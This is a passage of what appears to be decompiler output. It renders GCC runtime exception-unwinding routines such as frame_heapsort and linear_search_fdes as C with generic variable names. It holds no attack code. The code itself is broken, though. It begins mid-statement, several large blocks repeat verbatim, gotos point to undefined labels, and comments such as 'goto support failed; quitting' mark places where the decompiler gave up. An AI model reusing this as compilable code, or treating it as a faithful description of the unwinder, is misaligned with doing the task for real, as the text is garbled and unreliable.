= g101 + 4; v91 = *(int32_t *)v70; g96 = v91; g101 = v70; if (v91 != 0) { while (true) { // 0x80a86c4 g97 = g102; g95 = (int32_t)v4; add_fdes(a1, 0, 0); v69 = g101 + 4; v90 = *(int32_t *)v69; g96 = v90; g101 = v69; if (v90 == 0) { v50 = (int32_t *)0x80a86d1; // break -> 0x80a86db break; } // continue -> 0x80a86c4 } // 0x80a86db v93 = v38; v92 = (int32_t)v93; if (v93 != NULL) { // 0x80a86eb g96 = v56; if (v93->e1 != v27) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } } // 0x80a86fa v71 = (int32_t)v4; g101 = v71; v72 = v71 + 16; if (*(char *)v72 == 4) { // 0x80a8ae0 v45 = g98; if (*(int16_t *)v72 == 2040) { // 0x80a8af2 v46 = v45; v117 = v45 - 0x89f44; // branch -> 0x80a8713 } else { // 0x80a8ce4 v65 = v45 - 0x89f24; g101 = v65; v46 = v45; v117 = v65; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a870a v43 = g98; v46 = v43; v117 = v43 - 0x887a4; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { v50 = (int32_t *)0x80a86d1; } } else { v50 = v2; } } // 0x80a86db v93 = v38; v92 = (int32_t)v93; if (v93 != NULL) { // 0x80a86eb g96 = v56; if (v93->e1 != v27) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } } // 0x80a86fa v71 = (int32_t)v4; g101 = v71; v72 = v71 + 16; if (*(char *)v72 == 4) { // 0x80a8ae0 v45 = g98; if (*(int16_t *)v72 == 2040) { // 0x80a8af2 v46 = v45; v117 = v45 - 0x89f44; // branch -> 0x80a8713 } else { // 0x80a8ce4 v65 = v45 - 0x89f24; g101 = v65; v46 = v45; v117 = v65; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto 